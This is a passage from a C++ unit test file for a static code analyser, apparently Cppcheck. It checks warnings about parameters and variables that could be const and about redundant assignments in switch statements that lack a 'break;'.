{\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n 